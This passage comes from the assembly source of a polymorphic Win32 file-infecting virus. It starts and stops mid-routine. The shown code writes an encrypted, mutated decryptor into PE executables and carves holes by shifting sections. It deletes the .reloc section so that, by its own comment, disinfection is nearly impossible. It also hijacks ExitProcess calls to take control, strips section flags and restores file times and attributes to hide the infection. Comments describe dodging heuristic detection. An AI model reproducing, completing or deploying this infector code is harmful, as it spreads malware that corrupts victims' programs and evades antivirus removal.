[ebp+MappingAddress] mov ecx, [ebp+SizeOfDecryptor] @@LoopCopyDecryptor: mov eax, [esi] ; Copy the assembled decryptor mov [edi], eax add esi, 1 add edi, 1 dec ecx or ecx, ecx jnz @@LoopCopyDecryptor mov edx, 10h ; Maximum number of times we can ; repeat the following: mov esi, [ebp+MaxSizeOfDecryptor] sub esi, [ebp+SizeOfDecryptor] and esi, 0FFFFFFFCh ; Get the remaining size of the or esi, esi ; decryptor aligned to DWORDs. jz @@ContinueWithTheRest ; If 0, don't make this thing @@CheckAgainThePossibility: call Random ; Get a random number between 0 and 252 and eax, 0FCh or eax, eax ; If 0, repeat jz @@CheckAgainThePossibility sub edx, 1 ; Decrease the number of times we can do ; this again. cmp eax, esi ; If the random number is below the jb @@FillRandomBytes ; remaining size, go to fill some. or edx, edx ; If don't, and we can make it more jnz @@CheckAgainThePossibility ; times, get another random jmp @@ContinueWithTheRest ; number. @@FillRandomBytes: mov ecx, eax ; ECX = Number of random bytes to insert @@LoopFillRandomBytes: call Random mov [edi], eax ; Insert a random DWORD add edi, 4 sub ecx, 4 or ecx, ecx ; Fill it with the random quantity we got jnz @@LoopFillRandomBytes ; before @@ContinueWithTheRest: mov edi, [ebp+MappingAddress] ; Get the physical address add edi, [ebp+Phys_DataHole] ; of the data hole cmp edi, [ebp+MappingAddress] ; If it's 0, exit jz @@Exit mov edx, [ebp+TypeOfEncryption] ; Get the encryption mov ebx, [ebp+EncryptionKey] ; operation and the mov esi, [ebp+NewAssembledCode] ; address of the new mov ecx, [ebp+SizeOfNewCode] ; mutated code and ecx, 0FFFFFFFCh add ecx, 4 ; Round it @@LoopEncryptCode: mov eax, [esi] or ebx, ebx ; Copy the code and encrypt it jz @@NoEncryption ; on the fly or edx, edx jz @@ADDKey cmp edx, 1 jz @@SUBKey @@XORKey: xor eax, ebx jmp @@StoreDWORD @@ADDKey: add eax, ebx jmp @@StoreDWORD @@SUBKey: sub eax, ebx @@NoEncryption: @@StoreDWORD: mov [edi], eax ; Store the encrypted (or not) add esi, 4 ; DWORDs add edi, 4 sub ecx, 4 or ecx, ecx jnz @@LoopEncryptCode xor eax, eax mov [edi], eax ; Set a 0 at the end @@Exit: mov ebx, [ebp+HeaderAddress] xor eax, eax mov [ebx+58h], eax ; Set the infection mark (the CRC of ; the executable to 0) xor edi, edi ; Set "NO_ERROR" flag jmp @@NoError ;; If the file is already infected or the headers doesn't meet the ;; required characteristics, we jump here. @@Error4: call UndoChanges ; Undo the changes to the file mov edi, 1 ; Set "ERROR" flag @@NoError: push eax ; Close the file mapping push ecx push edx ; APICALL_BEGIN mov eax, [ebp+MappingAddress] push eax call dword ptr [ebp+RVA_UnmapViewOfFile] pop edx pop ecx pop eax ; APICALL_END jmp @@NoError3 ;; We jump here if we failed while mapping a view of the file in memory @@Error3: mov edi, 1 ; Set "ERROR" flag @@NoError3: push eax ; Close the handle of the file mapping push ecx push edx ; APICALL_BEGIN mov eax, [ebp+hMapping] push eax call dword ptr [ebp+RVA_CloseHandle] pop edx pop ecx pop eax ; APICALL_END jmp @@NoError2 ;; Jump here if we failed while creating a file mapping object @@Error2: mov edi, 1 ; Set "ERROR" flag @@NoError2: push eax ; Let's truncate the file: we set it push ecx ; to the original size again if we push edx ; failed to infect xor eax, eax push eax ; push 0 push eax ; push 0 or edi, edi jnz @@ThereWasAnError mov eax, [ebp+FileSize] jmp @@FixSize @@ThereWasAnError: mov eax, [ebp+OriginalFileSize] @@FixSize: push eax mov eax, [ebp+hFile] push eax call dword ptr [ebp+RVA_SetFilePointer] pop edx pop ecx pop eax ; APICALL_END push eax ; Truncate the file push ecx push edx ; APICALL_BEGIN mov eax, [ebp+hFile] push eax call dword ptr [ebp+RVA_SetEndOfFile] pop edx pop ecx pop eax ; APICALL_END @@DontFixSize: push eax ; Restore the original file time from push ecx ; the data stored at the FindFile struct push edx ; APICALL_BEGIN mov eax, [ebp+FindFileData] add eax, 14h push eax sub eax, 8 push eax sub eax, 8 push eax mov eax, [ebp+hFile] push eax call dword ptr [ebp+RVA_SetFileTime] pop edx pop ecx pop eax ; APICALL_END push eax ; Close the file handle push ecx push edx ; APICALL_BEGIN mov eax, [ebp+hFile] push eax call dword ptr [ebp+RVA_CloseHandle] pop edx pop ecx pop eax ; APICALL_END @@Error: push eax ; Restore the file attributes push ecx push edx ; APICALL_BEGIN mov eax, [ebp+FileAttributes] push eax mov eax, [ebp+Addr_FilePath] push eax call dword ptr [ebp+RVA_SetFileAttributesA] pop edx pop ecx pop eax ; APICALL_END @@Error_: ret TouchFile endp ;;; This is the main function to make holes. This function is capable of ;;; support two types of holes, being the first situated at .text or CODE ;;; section. The code can be easily modified to situate the holes at the end ;;; of other sections, but the current action is more stealthy. After this, ;;; if we remove .reloc section from the executable, we can't know how the ;;; host was before, so disinfection is nearly impossible. PrepareFile proc mov eax, [ebp+MappingAddress] mov ebx, [eax] and ebx, 0FFFFh cmp ebx, 0+'ZM' ; Get the header. If the standard jnz @@Error ; win32 executable marks don't mov ebx, [eax+18h] ; exist ("MZ" and "PE") we finish and ebx, 0FFh ; with error (of course) cmp ebx, 40h jnz @@Error mov ebx, [eax+3Ch] add ebx, eax mov ecx, [ebx] cmp ecx, 0+'EP' jnz @@Error mov [ebp+HeaderAddress], ebx mov ecx, [ebx+58h] ; Get the file checksum at the or ecx, ecx ; header. if it's 0, it's already jz @@Error ; infected. mov ecx, [ebx+4] ; Get the type of executable and ecx, 0FFFFh cmp ecx, 014Ch ; x86? jz @@IA32 ; If so, jump to IA-32 infection ;; PE32+ for IA64 ; Reserved for future release (v2) jmp @@Error ; Exit and finish ; You can think: what's the point of making this check? The reason is that ; nowadays is more easy to find a server or a home PC with a FTP or HTTP ; server with files to get, and there are many of them that are for other ; types of processors, so better if we check the processor type. And, in the ; future, we'll have new processors like IA-64 (Itanium) and maybe others. ;; PE32 for x86 @@IA32: mov ecx, [ebx+6] ; Get the number of sections in the and ecx, 0FFFFh ; executable. ; ECX = Number of sections mov edx, [ebx+14h] ; Get the start address of the and edx, 0FFFFh ; sections. add edx, 18h add edx, ebx mov [ebp+StartOfSectionHeaders], edx xor eax, eax ; Initialize the interesting mov [ebp+RelocHeader], eax ; sections addresses. mov [ebp+TextHeader], eax mov [ebp+DataHeader], eax @@LoopSections: mov eax, [edx] ; Get the name of the section in the mov esi, [edx+4] ; pair EAX-ESI cmp eax, 'ler.' ; Is the name ".reloc"? jnz @@LookForCode cmp esi, 0+'co' jnz @@NextSection mov [ebp+RelocHeader], edx ; Then, set the address jmp @@NextSection @@LookForCode: cmp eax, 'xet.' ; Is the name ".text"? jnz @@LookForCode2 cmp esi, 0+'t' jnz @@NextSection mov [ebp+TextHeader], edx ; Then, set the address of the jmp @@NextSection ; code header @@LookForCode2: cmp eax, 'EDOC' ; Is the name "CODE"? jnz @@LookForData or esi, esi jnz @@NextSection mov [ebp+TextHeader], edx ; Then set the address of the jmp @@NextSection ; code header @@LookForData: cmp eax, 'tad.' ; Is the name ".data"? jnz @@LookForData2 cmp esi, 0+'a' jnz @@NextSection mov [ebp+DataHeader], edx ; Then set the address of the jmp @@NextSection ; data header @@LookForData2: cmp eax, 'ATAD' ; Is the name "DATA"? jnz @@LookForData3 or esi, esi jnz @@NextSection mov [ebp+DataHeader], edx ; Then set the address of the jmp @@NextSection ; data header @@LookForData3: @@NextSection: mov [ebp+LastHeader], edx ; Set the last header add edx, 28h ; Next header dec ecx ; If it wasn't the last one, or ecx, ecx ; continue checking jnz @@LoopSections xor eax, eax ; Initialize the addresses that mov [ebp+ExitProcessAddress], eax ; we need for making mov [ebp+VirtualAllocAddress], eax ; a correct infection mov [ebp+GetProcAddressAddress], eax mov [ebp+GetModuleHandleAddress], eax mov eax, [ebp+TextHeader] ; If we haven't retrieved a or eax, eax ; code or data section, we jz @@Error ; exit with error mov eax, [ebp+DataHeader] or eax, eax jz @@Error mov eax, [ebp+RelocHeader] ; IF we have .reloc section, or eax, eax ; we'll make section shifting. jz @@NoRelocs ; If not, try another alternative method. mov eax, 3 call RandomBoolean_X000_3 or eax, eax ; Although there is .reloc section, don't jz @@NoRelocs2 ; make that infection always. Doing this, ; we have a not fixed way of infecting. ; Moreover, it's selected by our genetic algorithm, ; which makes that if it's not viable (i.e. it's ; more detected) the probability is lower. ;; Now we are going to make section shifting. We use the relocation section ;; to update all the pointers that point to data that is going to be shifted ;; down, mov eax, [ebp+RelocHeader] cmp eax, [ebp+LastHeader] jnz @@Error ; Avoid .reloc section in the middle ;; Everything is OK to start! mov eax, 1 ; Mark that we are doing the hole mov [ebp+MakingFirstHole], eax ; at the code section mov esi, [ebp+TextHeader] mov ecx, 1000h ; Maximum size of decryptor call UpdateHeaders ; Make the hole. ; Returns: ; ECX = Unchanged ; EAX = Physical offset of created hole, or NULL if error ; EDI = RVA of hole mov [ebp+RVA_TextHole], edi mov [ebp+Phys_TextHole], eax mov [ebp+TextHoleSize], ecx mov eax, [ebp+ExitProcessAddress] or eax, eax ; If ExitProcess is not imported by the jz @@Error ; host, finish (undoing the changes) ; mov eax, [ebp+VirtualAllocAddress] ; or eax, eax ; jz @@Error mov eax, [ebp+GetProcAddressAddress] or eax, eax ; Check the import of the GetProcAddress. jz @@Error ; If it's not imported, error mov eax, [ebp+GetModuleHandleAddress] or eax, eax ; If the host doesn't import GetModuleHandle, jz @@Error ; finish with error mov ebx, [ebp+HeaderAddress] add [ebx+1Ch], ecx ; Add the size of the hole to ; the size of code in the exec. ; header add [ebp+FileSize], ecx ; Add it to the track size too. xor eax, eax ; Set that we are making mov [ebp+MakingFirstHole], eax ; the second hole. mov esi, [ebp+DataHeader] mov ecx, [ebp+RoundedSizeOfNewCode] call UpdateHeaders ; Make the data hole mov [ebp+RVA_DataHole], edi ; Set the physical and mov [ebp+Phys_DataHole], eax ; virtual addresses. mov ebx, [ebp+HeaderAddress] ; Now we are going to update ; the addresses of the mov eax, [ebp+ExitProcessAddress] ; functions. We don't add eax, [ebx+34h] ; need to check that mov [ebp+ExitProcessAddress], eax ; they have a value ; because we know that they mov eax, [ebp+GetProcAddressAddress] ; have it. If not, add eax, [ebx+34h] ; we had exited when mov [ebp+GetProcAddressAddress], eax ; making the first ; hole (the code hole) mov eax, [ebp+GetModuleHandleAddress] add eax, [ebx+34h] mov [ebp+GetModuleHandleAddress], eax mov eax, [ebp+VirtualAllocAddress] or eax, eax ; If we have VirtualAlloc jz @@DontAddBaseAddress ; available, update it also add eax, [ebp+34h] mov [ebp+VirtualAllocAddress], eax @@DontAddBaseAddress: add [ebx+20h], ecx ; Increase the virtual size add [ebp+FileSize], ecx ; of the data in the file and ; the file size itself mov esi, [ebp+RelocHeader] mov eax, [esi+0Ch] mov [ebx+50h], eax ; Set the new image size of ; the executable. mov edi, [esi+14h] mov ecx, [ebp+FileSize] ; Now set the physical size of sub ecx, edi ; the file in the FileSize var, mov [ebp+FileSize], edi ; so when closing the file ; mapping we'll set the new ; physical size (i.e. eliminate ; the .reloc section). add edi, [ebp+MappingAddress] xor eax, eax ; Fill with 0s the .reloc @@Loop0: mov [edi], eax ; section add edi, 4 sub ecx, 4 or ecx, ecx jnz @@Loop0 mov ecx, 28h ; Now eliminate the .reloc header in @@Loop1: mov [esi], eax ; the PE header add esi, 4 sub ecx, 4 or ecx, ecx jnz @@Loop1 mov [ebx+0A0h], eax ; Eliminate the relocation entry in mov [ebx+0A4h], eax ; the list of directories mov eax, [ebx+06h] ; Decrease the number of sections sub eax, 1 mov [ebx+06h], eax mov eax, [ebx+16h] ; Set that the reloc info has been or eax, 1 ; stripped from the file mov [ebx+16h], eax mov eax, 1000h ; Set the maximum size of the decryptor mov [ebp+MaxSizeOfDecryptor], eax ; to 1000h (the maximum ; size we use for it) xor eax, eax ; Set "ALL OK" on returning ret @@Error: mov eax, 1 ; Set "ERROR"! ret ;; This code is reached when the .reloc section exists, but we want to make ;; an infection as if there isn't a .reloc section. In this way the behaviour ;; of the infection method is not fixed. @@NoRelocs2: xor eax, eax ; Set the .reloc address to 0 as if mov [ebp+RelocHeader], eax ; there wasn't .reloc section @@NoRelocs: xor ecx, ecx ; Retrieve the required function mov edx, -1 ; addresses. call UpdateImports mov ecx, [ebp+HeaderAddress] ; Check every function mov eax, [ebp+ExitProcessAddress] ; address (and exit with or eax, eax ; error if they couldn't jz @@Error ; be retrieved) and get add eax, [ecx+34h] ; the final virtual addr. mov [ebp+ExitProcessAddress], eax ; of every one, adding ; the image base. mov eax, [ebp+GetProcAddressAddress] or eax, eax jz @@Error add eax, [ecx+34h] mov [ebp+GetProcAddressAddress], eax mov eax, [ebp+GetModuleHandleAddress] or eax, eax jz @@Error add eax, [ecx+34h] mov [ebp+GetModuleHandleAddress], eax mov eax, [ebp+VirtualAllocAddress] ; If we haven't or eax, eax ; VirtualAlloc, we don't jz @@NoVirtualAlloc ; exit with error, but add eax, [ecx+34h] ; then we have to mov [ebp+VirtualAllocAddress], eax ; retrieve it in @@NoVirtualAlloc: ; runtime in the decryptor. ;; Pseudo-code of the algorithm we use to get a virtual hole in .text where ;; we can put the decryptor: ;; ;; If(PhysicalSize > VirtualSize) ;; Phys_TextHoleAddr = VirtualSize; ;; Virt_TextHoleAddr = VirtualSize; ;; TextHoleSize = PhysicalSize - VirtualSize; ;; If((TextHoleSize + VirtualSize) > NextVirtualAddress) ;; Exit; ;; VirtualSize += TextHoleSize; ;; /* The hole is already made physically */ ;; If(PhysicalSize <= VirtualSize) ;; Phys_TextHoleAddr = PhysicalSize; ;; Virt_TextHoleAddr = PhysicalSize; ;; TextHoleSize = VirtualSize - PhysicalSize; ;; If(TextHoleSize < MIN_SIZE) ;; Exit; ;; If(TextHoleSize > MAX_SIZE) ;; TextHoleSize = MAX_SIZE; ;; PhysicalSize += TextHoleSize; ;; Add TextHoleSize to physical offset of all headers (from .text) ;; Make a hole of size TextHoleSize at Phys_TextHoleAddr xor eax, eax call RandomBoolean_X004_7 ; Don't rely on fixed methods. and eax, 0Fh ; Using this method, one on every X or eax, eax ; infections will be forced to use the ; "no virtual hole" (and if it's not ; good, the genetic algorithm will make ; the adjust by "evolution"). jz @@HoleAtLastSection mov ebx, [ebp+TextHeader] mov eax, [ebx+10h] ; Get the physical size cmp eax, [ebx+08h] ; Check against the virtual size jae @@CheckPaddingSpace ; If Phys_Size > Virt_Size, jump add eax, [ebx+14h] ; Get the physical offset where the ; section ends mov [ebp+Phys_TextHole], eax ; Set the physical address mov eax, [ebx+10h] ; Get the physical address add eax, [ebx+0Ch] ; Add the virtual size mov [ebp+RVA_TextHole], eax ; Size the virtual address of ; the hole. mov eax, [ebx+08h] ; Get the virtual size sub eax, [ebx+10h] ; Subtract the physical size cmp eax, 200h ; If the hole has a size of at least jb @@HoleAtLastSection ; 512 bytes, cmp eax, 80000000h ; If it's signed (phys_size > virt) ja @@Error ; then exit with error cmp eax, 1000h ; If the size is greater than 4096 jbe @@TextHoleSizeOK ; bytes, limit it to 4096. mov eax, 1000h @@TextHoleSizeOK: mov [ebp+MaxSizeOfDecryptor], eax ; Set the max size. mov edx, ebx mov ecx, [ebp+LastHeader] ; Get the last header in ECX @@LoopAddPhysicalSize: cmp edx, ebx ; Add the physical size to the jz @@NextAddPhysicalSize ; physical offset of every add [edx+14h], eax ; section to update it and make @@NextAddPhysicalSize: ; the physical hole effective. cmp edx, ecx jz @@EndAddPhysicalSize add edx, 28h jmp @@LoopAddPhysicalSize @@EndAddPhysicalSize: ; Now we make the hole physically. mov edx, [ebp+MappingAddress] mov edi, edx add edx, [ebx+14h] add edx, [ebx+10h] add edi, [ebp+FileSize] mov esi, edi add edi, eax add [ebx+10h], eax mov eax, 1000h add [ebp+FileSize], eax @@LoopMakePhysicalHole: ; Make the hole sub edi, 4 sub esi, 4 mov eax, [esi] mov [edi], eax cmp edi, edx jnz @@LoopMakePhysicalHole jmp @@TextHoleMade ;; This method of infection uses the last section to put both decryptor and ;; virus data. It's the method that makes more heuristical alarms, but well, ;; it's a standard one. Since we don't touch the section flags (in fact, if ;; the section flags have a WRITABLE flag we exit) we avoid that alarm. @@HoleAtLastSection: mov ebx, [ebp+LastHeader] mov eax, [ebx+08h] add eax, [ebx+0Ch] ; Set the virtual code hole at the mov [ebp+RVA_TextHole], eax ; virtual end of the last sec. mov eax, [ebx+08h] ; Physically, the same (but at the add eax, [ebx+14h] ; physical end) mov [ebp+Phys_TextHole], eax mov eax, 1000h ; Set the maximum size of the mov [ebp+MaxSizeOfDecryptor], eax ; decryptor to 4096 add [ebx+08h], eax add [ebx+10h], eax add [ebp+FileSize], eax mov eax, [ebx+24h] ; or eax, 20000020h ; If section is readable, is also ; executable, since the exec flag is only ; checked at startup (and we don't jump here ; directly, since we use EPO). and eax, 0FDFFFFFFh ; Eliminate the "DISCARDABLE" flag mov [ebx+24h], eax jmp @@GetDataHole @@CheckPaddingSpace: ; Set the physical and virtual code mov eax, [ebx+08h] ; hole address. After that, check add eax, [ebx+0Ch] ; if we have enough padding space to mov [ebp+RVA_TextHole], eax ; make the decryptor there. mov eax, [ebx+08h] add eax, [ebx+14h] mov [ebp+Phys_TextHole], eax mov eax, [ebx+10h] sub eax, [ebx+08h] ; Set the alignment padding size as the mov [ebp+MaxSizeOfDecryptor], eax ; maximum size of the cmp eax, 200h ; decryptor. If it's below 512, jb @@HoleAtLastSection ; make a last-section infection. mov ecx, eax mov eax, [ebx+10h] add eax, [ebx+0Ch] ; If the virtual address + physical cmp eax, [ebx+28h+0Ch] ; size of the section overpasses the ja @@Error ; virtual size of the next section ; (overlapping it), exit with error. add [ebx+08h], ecx ; Add the virtual size of the hole. ;; Fill hole with 0s @@TextHoleMade: mov ecx, [ebp+MaxSizeOfDecryptor] mov edi, [ebp+Phys_TextHole] add edi, [ebp+MappingAddress] xor eax, eax and ecx, 0FFFFFFFCh @@LoopFillHole: mov [edi], eax ; Overwrite the data of the hole with 0s. add edi, 4 sub ecx, 4 or ecx, ecx jnz @@LoopFillHole mov eax, [ebx+08h] ; Set the new virtual size of the code mov esi, [ebp+HeaderAddress] ; section as the virtual code mov [esi+1Ch], eax ; size in the PE header. @@GetDataHole: mov ebx, [ebp+LastHeader] mov eax, [ebp+RoundedSizeOfNewCode] add [ebp+FileSize], eax mov ecx, [ebx+24h] and ecx, 80000000h or ecx, ecx jnz @@Error ; If last header is writable, exit! mov ecx, [ebx+10h] add ecx, [ebx+14h] ; Set the physical and virtual mov [ebp+Phys_DataHole], ecx ; addresses of the data hole mov ecx, [ebx+10h] add ecx, [ebx+0Ch] mov [ebp+RVA_DataHole], ecx add eax, [ebx+10h] mov [ebx+10h], eax ; Set the new section sizes mov [ebx+08h], eax @@AllHolesPrepared: mov esi, [ebp+HeaderAddress] ; Set the new image size of mov eax, [ebx+0Ch] ; the executable in the PE add eax, [ebx+08h] ; header mov [esi+50h], eax ;; Let's patch ExitProcess: mov edx, [ebp+ExitProcessAddress] ; Get the virtual address mov ebx, [ebp+TextHeader] ; of the import table mov esi, [ebx+14h] ; where the function is. add esi, [ebp+MappingAddress] mov ecx, [ebx+10h] sub ecx, 6 @@LoopFindExitProcess: ; Search calls to that import mov eax, [esi] ; entry in the code of the and eax, 0FFh ; executable. cmp eax, 0FFh jnz @@NextInstruction mov eax, [esi+1] and eax, 0FFh cmp eax, 25h ; Search for both CALL ExitProcess jz @@JMPMemFound ; and JMP ExitProcess (normally used cmp eax, 15h ; by Microsoft's Visual Studio jnz @@NextInstruction ; compiler and Borland compiler @@JMPMemFound: ; respectivelly). mov eax, [esi+2] cmp eax, edx jnz @@NextInstruction ;; ExitProcess found add esi, 2 ; Patch that call/jmp to point to the push edx ; code hole where the decryptor is. mov edx, [ebp+HeaderAddress] ; In this way, our virus gets mov edx, [edx+34h] ; the control when the exec add edx, [ebp+RVA_TextHole] ; exits. call PatchExitProcess pop edx add esi, 4 @@NextInstruction: add esi, 1 ; Continue the search. sub ecx, 1 or ecx, ecx jnz @@LoopFindExitProcess xor eax, eax ; Return with no error. ret PrepareFile endp ;; This function is the one that makes the code and data holes when we infect ;; by shifting down the sections of the executable. ;; ;; ESI = Header of section where we make the hole at the end ;; ECX = Size of hole UpdateHeaders proc ;; Things to do: ;; 1) Update all offsets & code that point after the hole address using .reloc ;; info ;; 2) Update virtual & physical offsets that point after the hole address ;; referenced at section headers ;; 3) Update directory addresses at PE header ;; 4) Update all RVA references at resources tree ;; 5) Update all RVA references under import and export structures ;; They are not performed in this order! push ecx ; Get what hole we are mov eax, [ebp+MakingFirstHole] ; making (code or data hole) or eax, eax jz @@MakingDataHole ; If data hole, jump (put the hole ; at the beginning of the section) mov eax, [esi+10h] cmp eax, [esi+08h] ; Fix the virtual size if it's smaller jbe @@TextSizeOK ; than the physical size. mov [esi+08h], eax @@TextSizeOK: mov edi, [esi+0Ch] add edi, [esi+10h] ; EDI = RVA of hole push edi mov eax, [esi+14h] add eax, [esi+10h] ; EAX = Physical address of hole push eax jmp @@BeginUpdates ; All OK to start @@MakingDataHole: mov edi, [esi+0Ch] push edi ; EDI = RVA of hole mov eax, [esi+14h] push eax @@BeginUpdates: ; Let's update some headers ; At this point: ; ECX = Size of hole ; ESI = Header of section containing the hole ; EDI = RVA of hole @@UpdateResources: mov eax, [ebp+HeaderAddress] mov ebx, [eax+88h] ; Get the physical address or ebx, ebx ; of the resources jz @@UpdateImports call TranslateVirtualToPhysical or ebx, ebx jz @@End ; Only virtual??? mov eax, [ebx+0Ch] ; Get the number of resource entries and eax, 0FFFFh ; in EDX mov edx, [ebx+0Eh] and edx, 0FFFFh add edx, eax or edx, edx jz @@UpdateImports ; EBX = Address of root ; EDX = Number of entries mov eax, ebx ; Update all the resources offsets add eax, 10h call UpdateResourceDir @@UpdateImports: call UpdateImports ; Update the imports (using the ; address of the hole at EDI and ; the size at ECX) mov eax, [ebp+GetModuleHandleAddress] or eax, eax ; Check if the required jz @@End ; functions for a proper ; mov eax, [ebp+VirtualAllocAddress] ; virus-work are ; or eax, eax ; imported. If not, ; jz @@End ; exit. mov eax, [ebp+GetProcAddressAddress] or eax, eax jz @@End mov eax, [ebp+ExitProcessAddress] or eax, eax jz @@End @@UpdateExports: ; Get the address of the mov eax, [ebp+HeaderAddress] ; exporting data (if exists) mov ebx, [eax+78h] or ebx, ebx ; If there aren't exports, jz @@ExportsUpdated ; update the next part call TranslateVirtualToPhysical or ebx, ebx ; Next part if error jz @@ExportsUpdated mov eax, [ebx+0Ch] ; If the offsets in the header cmp eax, edi ; are situated AFTER the hole, jb @@UpdateExportsOK_01 ; then we add the hole size add [ebx+0Ch], ecx @@UpdateExportsOK_01: mov eax, [ebx+1Ch] mov edx, [ebx+14h] call UpdateArrayOfRVAs ; Update the RVAs in this array mov eax, [ebx+1Ch] ; Update the array RVA itself cmp eax, edi jb @@UpdateExportsOK_02 add [ebx+1Ch], ecx @@UpdateExportsOK_02: mov eax, [ebx+20h] ; Update the RVAs in this array mov edx, [ebx+18h] call UpdateArrayOfRVAs mov eax, [ebx+20h] ; Update the array RVA itself cmp eax, edi jb @@UpdateExportsOK_03 add [ebx+20h], ecx @@UpdateExportsOK_03: @@ExportsUpdated: ; Now we update all references inside code to things that point after ; the RVA of the hole we are creating. For that, we use .reloc info. @@UpdateCodeSection: push esi mov eax, [ebp+RelocHeader] ; Get the relocation data mov eax, [eax+14h] add eax, [ebp+MappingAddress] @@LoopUpdate_00: mov esi, [eax] ; If it's void, end the fixing of or esi, esi ; the code jz @@AllUpdated mov edx, 8 @@LoopUpdate_01: cmp edx, [eax+4] ; Did we updated all the references jae @@PageUpdated ; for this page? If it's so, go to ; update the next page. add eax, edx mov ebx, [eax] sub eax, edx ; Get the fix address and ebx, 0FFFFh add edx, 2 cmp ebx, 2FFFh ; If it's not Intel ( <0x3000) don't jbe @@LoopUpdate_01 ; fix it and ebx, 0FFFh add ebx, [eax] ; EBX = RVA of address to relocate mov esi, [ebp+MakingFirstHole] or esi, esi ; If we are making the data hole, jnz @@UpdateCodeSec_Cont00 ; we add the text hole size cmp ebx, [ebp+RVA_TextHole] ; if the update is after the jb @@UpdateCodeSec_Cont00 ; the text hole add ebx, [ebp+TextHoleSize] @@UpdateCodeSec_Cont00: call TranslateVirtualToPhysical ; Get the address in the or ebx, ebx ; mapping for this virtual addr. jz @@LoopUpdate_01 push eax push edx ; Get the virtual address where mov eax, [ebp+HeaderAddress] ; the DWORD we are updating mov edx, [ebx] ; points to. sub edx, [eax+34h] cmp edx, edi ; If it points after the virtual jb @@TranslateOK_02 ; address of the hole, update it add [ebx], ecx add edx, ecx @@TranslateOK_02: ;; Now we check if that DWORD points to ExitProcess. If it does, we make it ;; point to the code hole. mov esi, [ebx-2] ; Get if it's CALL or JMP and esi, 0FFFFh cmp esi, 15FFh jz @@CheckExitProcess cmp esi, 25FFh ; If it's not CALL/JMP DWORD PTR, jnz @@ItsNotExitProcess ; don't take action! @@CheckExitProcess: cmp edx, [ebp+ExitProcessAddress] ; Check it it's a CALL/ jnz @@ItsNotExitProcess ; /JMP to ExitProcess mov edx, [ebp+HeaderAddress] mov edx, [edx+34h] add edx, edi ; Get the virtual address push esi mov esi, ebx call PatchExitProcess ; Patch the ExitProcess pop esi xor eax, eax ; Break possible APICALL_END mistranslation pop edx pop eax push eax add eax, edx push edx mov edx, [eax-2] ; We anulate the .reloc reference and edx, 0FFFF0000h ; to avoid other update mov [eax-2], edx pop edx pop eax jmp @@LoopUpdate_01 @@ItsNotExitProcess: @@TranslateOK: ; Get the next relocation value pop edx pop eax jmp @@LoopUpdate_01 @@PageUpdated: add eax, [eax+4] jmp @@LoopUpdate_00 @@AllUpdated: pop esi ;; Now we update some RVAs at the PE header. If we are making the code hole, ;; since it's at the end of the section, we update the data checking with ;; JB (the x86 conditional jump, not the whisky! And now make a mental image ;; of "checking the data with JB": me, with the computer, and a glass with ice ;; and JB in my hand checking opcodes XD). If we are making the ;; data hole, we check them with JBE (ooooh, that's not whisky!). mov eax, [ebp+MakingFirstHole] mov ebx, [ebp+HeaderAddress] cmp [ebx+0Ch], edi ; RVA to the (possible) symbol table jb @@Fixed_01 or eax, eax jnz @@NotFixed_01 cmp [ebx+0Ch], edi jz @@Fixed_01 @@NotFixed_01: add [ebx+0Ch], ecx @@Fixed_01: cmp [ebx+28h], edi ; RVA to the entrypoint jb @@Fixed_02 or eax, eax jnz @@NotFixed_02 cmp [ebx+28h], edi jz @@Fixed_02 @@NotFixed_02: add [ebx+28h], ecx @@Fixed_02: cmp [ebx+2Ch], edi ; RVA to the base of code jb @@Fixed_03 or eax, eax jnz @@NotFixed_03 cmp [ebx+2Ch], edi jz @@Fixed_03 @@NotFixed_03: add [ebx+2Ch], ecx @@Fixed_03: cmp [ebx+30h], edi ; RVA to the base of data jb @@Fixed_04 or eax, eax jnz @@NotFixed_04 cmp [ebx+30h], edi jz @@Fixed_04 @@NotFixed_04: add [ebx+30h], ecx @@Fixed_04: add [ebx+50h], ecx ; Increase the size of the image ; by the size of the hole. ; Now we update the virtual offsets of the directories mov edx, [ebp+HeaderAddress] ; Get the number of mov edx, [edx+74h] ; directories mov ebx, [ebp+HeaderAddress] add ebx, 78h xor eax, eax @@LoopDir_01: cmp eax, 4 ; If it's the security directory, jz @@NextDir_01 ; don't update the address cmp [ebx], edi jb @@NextDir_01 add [ebx], ecx @@NextDir_01: add ebx, 8 inc eax dec edx or edx, edx jnz @@LoopDir_01 ;; Now we update the physical & virtual offsets of the sections mov edx, [ebp+StartOfSectionHeaders] mov ebx, [esi+14h] mov eax, [ebp+MakingFirstHole] or eax, eax jz @@MakingDataHole_2 @@MakingCodeHole_2: add ebx, [esi+10h] ; EBX = Physical offset of the hole @@MakingDataHole_2: mov eax, [ebp+HeaderAddress] mov eax, [eax+6] and eax, 0FFFFh ; Get the number of sections push esi mov esi, [ebp+MakingFirstHole] @@LoopUpdate_02: push eax mov eax, [edx+14h] ; Check the section addresses. As we cmp eax, ebx ; did before, if we are making the jb @@NextSection_00 ; hole at code we check the physical or esi, esi ; and virtual addresses and we update jnz @@NextSection_00_ ; them if they are below. If we are cmp eax, ebx ; making the data hole (at the jz @@NextSection_00 ; beginning of the data section) we @@NextSection_00_: ; check if the address is below or add eax, ecx ; equal. mov [edx+14h], eax @@NextSection_00: mov eax, [edx+0Ch] cmp eax, edi jb @@NextSection_01 or esi, esi jnz @@NextSection_01_ cmp eax, edi jz @@NextSection_01 @@NextSection_01_: add eax, ecx mov [edx+0Ch], eax @@NextSection_01: pop eax ; Next section. add edx, 28h dec eax or eax, eax jnz @@LoopUpdate_02 pop esi ;; Now we make the hole physically add [esi+08h], ecx add [esi+10h], ecx cmp esi, [ebp+RelocHeader] jz @@End push ecx push ebx ; PUSH Physical_Address_Of_Hole mov edx, [ebp+MappingAddress] add edx, [ebp+FileSize] sub edx, 4 mov edi, edx add edi, ecx pop ecx add ecx, [ebp+MappingAddress] @@Again: mov eax, [edx] ; Shift down all data mov [edi], eax sub edx, 4 sub edi, 4 cmp edx, ecx jae @@Again ;;; Here we fill the hole with 0s pop ecx and ecx, 0FFFFFFFCh shr ecx, 2 add edx, 4 xor eax, eax @@Again2: mov [edx], eax add edx, 4 dec ecx or ecx, ecx jnz @@Again2 @@End: pop eax pop edi mov ecx, 0 ; Break the 3-POP sequence to avoid a pop ecx ; mis-identification with APICALL_END if the ret ; registers are translated as EDX,ECX,EAX in ; any generation. UpdateHeaders endp ;; This function gets the array of RVAs in EAX and updates them as always. UpdateArrayOfRVAs proc or eax, eax ; If the array RVA is 0, then exit jz @@UpdateArray_OK or edx, edx ; If the number of elements in the array jz @@UpdateArray_OK ; is 0, then exit push ebx mov ebx, eax ; Get the physical address call TranslateVirtualToPhysical mov eax, ebx pop ebx or eax, eax ; If error, exit jz 